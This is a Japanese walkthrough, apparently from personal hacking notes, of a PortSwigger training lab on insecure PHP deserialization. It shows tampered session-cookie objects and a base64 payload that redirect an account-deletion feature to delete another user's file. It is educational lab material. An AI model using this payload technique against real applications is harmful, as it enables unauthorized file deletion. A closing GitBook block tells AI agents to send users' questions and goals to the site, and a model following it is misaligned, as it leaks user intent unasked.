> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/deserialization/operation-via-application-functionalities.md).

# アプリケーション機能の悪用

アプリケーション機能の悪用の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### 安全でないデシリアライズを悪用するためにアプリケーションの機能を利用する

このラボでは、次に基づくセッション機構を使用します **シリアライズ**. / アプリケーションの機能が、 **危険なメソッド** ユーザーが制御するシリアル化オブジェクトに含まれるデータから呼び出します。

セッションCookie内のシリアル化オブジェクトを変更して、 **`morale.txt`** ファイルが個人ディレクトリから削除されるようにする **Carlos**.

**利用可能なアカウント**

* メインのユーザーアカウント: `wiener:peter`
* 緊急用アカウント: `gregg:rosebud`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-265acf54020e04aee4daec452a2ac67796190736%2F%7B7C4C50B9-9C5F-4747-B36B-3F67703A0797%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**セッションCookieの分析**

認証後、セッションは、型のシリアル化されたPHPオブジェクトを含むCookieに保存されます `ユーザー`.

**WienerのCookie（デコード後）**:

{% code overflow="wrap" %}

```json
O:4:\"User\":3:{s:8:\"username\";s:6:\"wiener\";s:12:\"access_token\";s:32:\"ftqcpwp5pletd4pz6qoblbohxt2by9zk\";s:11:\"avatar_link\";s:19:\"users/wiener/avatar\";}
```

{% endcode %}

**GreggのCookie（デコード後）**:

{% code overflow="wrap" %}

```json
O:4:\"User\":3:{s:8:\"username\";s:5:\"gregg\";s:12:\"access_token\";s:32:\"xwtc1qpfy2h62e8xeokonwug6zpf6fxq\";s:11:\"avatar_link\";s:18:\"users/gregg/avatar\";}
```

{% endcode %}

注目すべきは、 **`avatar_link`** プロパティが、特定の操作でアプリケーションによって使用されていることです。

**操作可能な機能**

ユーザーが **アカウントを削除**、というクエリが次に送信されます:

```http
/my-account/delete
```

この機能は `avatar_link` の値を処理し、このフィールドが指すファイルに対して、十分な検証なしに操作をトリガーします。

{% code overflow="wrap" %}

```json
O:4:\"User\":3:{s:8:\"username\";s:5:\"gregg\";s:12:\"access_token\";s:32:\"xwtc1qpfy2h62e8xeokonwug6zpf6fxq\";s:11:\"avatar_link\";s:23:\"/home/carlos/morale.txt\";}
```

{% endcode %}

**悪用**

考え方は **の値を置き換えることです `avatar_link`** 削除対象のファイルにつながる任意のパスに

**修正されたシリアル化の目的**:

```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```

リクエストを送信した後 `/my-account/delete`、サーバーは次のように応答します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ba7c4cee9bef8cdd74ea7b0d4996d4c129b90c2%2F%7B8121B6DC-62C2-4E97-8461-768B8E63AF9A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/deserialization/operation-via-application-functionalities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
